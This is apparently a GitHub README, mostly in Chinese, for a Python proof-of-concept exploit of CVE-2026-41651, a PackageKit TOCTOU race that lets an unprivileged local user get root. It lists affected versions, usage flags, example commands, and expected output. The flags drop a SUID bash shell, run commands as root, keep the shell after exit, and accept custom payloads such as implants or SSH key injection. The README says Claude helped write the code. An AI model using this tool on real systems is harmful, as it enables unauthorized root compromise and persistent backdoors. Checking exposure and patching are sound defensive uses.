mawussid/CVE-2026-41651-Python
GitHub: mawussid/CVE-2026-41651-Python
针对 CVE-2026-41651(PackageKit TOCTOU 竞态条件)的 Python 本地提权 PoC,使无特权用户无需认证即可获得 root 权限。
Stars: 1 | Forks: 0
# Pack2TheRoot: CVE-2026-41651 (Python)
PackageKit TOCTOU 本地权限提升漏洞利用的 Python PoC。
任何本地无特权用户都可以无需身份验证即以 root 身份安装任意软件包。
| 字段 | 值 |
|-------|-------|
| **CVE** | CVE-2026-41651 |
| **组件** | PackageKit 守护进程 (`packagekitd`) |
| **受影响版本** | 1.0.2 – 1.3.4 |
| **修复版本** | 1.3.5 |
| **影响** | 本地权限提升 → root |
## 免责声明
本工具提供**仅用于教育和授权安全研究目的**。
## 要求
**存在漏洞的操作系统:** 任何运行 PackageKit >= 1.0.2 <= 1.3.4 的 Linux 发行版。
**Python:** 3.6+
**系统软件包 (Debian/Ubuntu):**
```
sudo apt install python3-dbus python3-gi gir1.2-glib-2.0
```
**验证 PackageKit 版本:**
```
pkcon get-version # or: python3 cve-2026-41651.py --check
```
## 用法
```
usage: cve-2026-41651.py [-h] [--check] [--exec CMD]
[--payload-script FILE] [--suid-path PATH]
[--no-cleanup] [--timeout N] [--quiet]
```
| 标志 | 描述 |
|------|-------------|
| `--check` | 查询 PackageKit 版本并报告漏洞,然后退出 |
| `--exec CMD` | 以 root 身份运行单个命令,而不是打开交互式 shell |
| `--payload-script FILE` | 使用自定义的 postinst 脚本,而不是内置的 SUID bash 投放器 |
| `--suid-path PATH` | 放置 SUID bash 的路径(默认:`/tmp/.suid_bash`) |
| `--no-cleanup` | shell 退出后保留 SUID bash |
| `--timeout N` | 轮询 SUID bash 的超时秒数(默认:120) |
| `--quiet` | 抑制进度输出(用于脚本编程) |
**示例:**
```
# 检查目标是否存在漏洞 (不利用)
python3 cve-2026-41651.py --check
# 完整利用 → 交互式 root shell
python3 cve-2026-41651.py
# 以 root 身份运行单个命令
python3 cve-2026-41651.py --exec "id"
# 自定义 payload (植入物、SSH key 注入…)
python3 cve-2026-41651.py --payload-script /tmp/hook.sh
# 退出后保留 SUID bash,自定义路径
python3 cve-2026-41651.py --suid-path /tmp/.mybash --no-cleanup
# 可脚本化 / 快速模式
python3 cve-2026-41651.py --timeout 60 --quiet
```
**预期输出:**
```
═══════════════════════════════════════════════════
CVE-2026-41651 / PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure Python)...
[+] dummy : /tmp/.pk-dummy-1337.deb
[+] payload : /tmp/.pk-payload-1337.deb
[*] Transaction : /1_acdcacbe
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 10 ms)
[*] Polling for payload (120 s max)...
[+] SUCCESS: SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
```
## 致谢
基于 [Vozec](https://github.com/Vozec/CVE-2026-41651) 提供的原始 C 语言 PoC。
这是一个为了提高可移植性而重写的 Python 版本。漏洞利用技术的所有功劳均归功于原作者。
Python 版本在 [Claude](https://claude.ai) (Anthropic) 的辅助下开发。
标签:CSV导出, CVE-2026-41651, Dbus, Linux 安全, PackageKit, packagekitd, Python 3, Python3.6, Python PoC, SUID, TOCTOU, Web报告查看器, 任意包安装, 协议分析, 本地提权, 权限提升, 漏洞复现, 竞争条件, 系统提权, 网络安全, 隐私保护